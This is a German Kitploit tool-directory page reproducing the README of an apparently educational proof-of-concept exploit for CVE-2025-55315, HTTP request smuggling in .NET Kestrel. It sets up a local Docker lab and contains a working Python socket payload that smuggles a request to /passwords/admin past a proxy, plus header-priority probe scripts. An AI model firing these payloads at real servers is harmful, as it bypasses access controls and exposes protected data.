Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55315 — Proof-of-Concept-Exploit für CVE-2025-55315 (.NET HTTP Request Smuggling). Zeigt, wie falsch geparste Chunked-Encoding es Angreifern ermöglicht, Anfragen an Proxys und Load Balancern in verwundbaren ASP.NET Core/Kestrel-Servern vorbeizuschmuggeln. | Kitploit
Tools/GitHubGitHub/martinfabianionut/cve-2025-55315
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Proof-of-Concept-Exploit für CVE-2025-55315 (.NET HTTP Request Smuggling). Zeigt, wie falsch geparste Chunked-Encoding es Angreifern ermöglicht, Anfragen an Proxys und Load Balancern in verwundbaren ASP.NET Core/Kestrel-Servern vorbeizuschmuggeln.

Repository anzeigen
14vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55315

Proof-of-concept Exploit für CVE-2025-55315 (.NET HTTP Request Smuggling). Zeigt, wie fehlerhaft geparste Chunked-Encoding es Angreifern ermöglicht, Requests an Proxys und Load Balancern in verwundbaren ASP.NET Core/Kestrel-Servern vorbeizuschmuggeln.

📊 Präsentation

Interaktive Prezi-Präsentation anzeigen

Prezi Presentation

🎥 Klicken Sie auf das obige Badge, um die vollständige interaktive Präsentation auf Prezi anzusehen.

Projektstruktur

  • Api - Konsolidierte ASP.NET Core API mit zwei Dockerfiles:
    • Dockerfile.vulnerable - Verwendet .NET 10.0.100-rc.1 (anfällig für CVE-2025-55315)
    • Dockerfile.patched - Verwendet .NET 10.0.100 (gepatchte Version)
  • PythonProxy - Verwundbarer Proxy zur Demonstration des CVE-2025-55315 Exploits (bevorzugt Content-Length gegenüber Transfer-Encoding)
  • YarpProxy - YARP Reverse Proxy zum Testen des Lastausgleichs (nicht Teil des Exploits)

Hinweis: Die Schwachstelle liegt im HTTP-Parser der .NET-Laufzeit (Kestrel), nicht im Anwendungscode. Beide Versionen verwenden identischen Quellcode, aber unterschiedliche .NET-Laufzeitversionen.

Schnellstart

# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

Siehe DOCKER.md für detaillierte Docker-Nutzungsanweisungen.

Exploit-Demonstration

Der Python-Proxy demonstriert CVE-2025-55315, indem er Content-Length gegenüber Transfer-Encoding bevorzugt, was HTTP-Request-Smuggling ermöglicht:

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

Dieser Payload schmuggelt einen zweiten Request an /passwords/admin an der Sicherheitsprüfung des Proxys vorbei, indem er die Diskrepanz ausnutzt, wie Proxy und Backend-Server den Request parsen.

Visuelle Request-Interpretation

So interpretieren Proxy und Backend-Server denselben Payload unterschiedlich:

PROXY-INTERPRETATION (Akzeptiert \n als gültiges Zeilenende):

flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

BACKEND-INTERPRETATION (Lehnt \n ab, erfordert \r\n):

flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

Wesentliche Unterschiede:

KomponenteChunk-Größe 2;\nGelesene BytesWas passiert
Proxy✅ Gültige Chunk-Größe2 Bytes (xx)Behandelt 2;\n als vollständigen Chunk-Header, liest 2 Bytes, fährt mit nächstem Chunk fort
Backend❌ Ungültiges ZeilenendeLiest immer noch als 2-Byte-ChunkChunk-Header endet erst bei xx\r\n, daher wird 39 zum Chunk-Body, 0 beendet den Chunk

Detaillierte Erklärung:

  • Proxy: Akzeptiert 2;\n als gültige Chunk-Größenangabe (2 Bytes) → Liest xx als 2-Byte-Chunk-Body → Geht zum nächsten Chunk (39)
  • Backend: Lehnt \n als Zeilenende ab → Chunk-Größe ist immer noch 2, aber Header erstreckt sich über 2;\nxx\r\n → Liest 39 als Teil des Chunk-Bodys → 0\r\n beendet den Chunk
  • Ergebnis: Der geschmuggelte GET /passwords/admin-Request ist in dem versteckt, was der Backend als Chunk-Daten betrachtet, wird aber nach Abschluss der Chunk-Verarbeitung als separater Request geparst.

Der geschmuggelte GET /passwords/admin-Request ist in dem versteckt, was der Proxy für Chunk-Body-Daten hält, aber der Backend parst ihn als separaten HTTP-Request.

Identifizieren der Schwachstelle

Vor dem Ausnutzen müssen Sie identifizieren, welchen HTTP-Header (Content-Length oder Transfer-Encoding) verschiedene Komponenten bevorzugen. Hier ist eine Schritt-für-Schritt-Anleitung:

Schritt 1: Header-Priorität testen

Senden Sie einen Request mit beiden Headern Content-Length und Transfer-Encoding: chunked, um zu sehen, welchen jede Komponente respektiert:

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Analyse:

  • Wenn der Server "Fa" (2 Bytes) verarbeitet → Bevorzugt er Content-Length
  • Wenn der Server "Fabian" (vollständigen Chunked-Body) verarbeitet → Bevorzugt er Transfer-Encoding

Schritt 2: Jede Komponente testen

Testen Sie alle Komponenten Ihrer Architektur, um Abweichungen zu finden:

Testen der unsicheren API (Port 5001)

# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Testen der sicheren API (Port 5002)

# Change port to 5002 and test
# Safe API should handle the conflict properly

Testen des Python-Proxys (Port 5027)

Tool herunterladen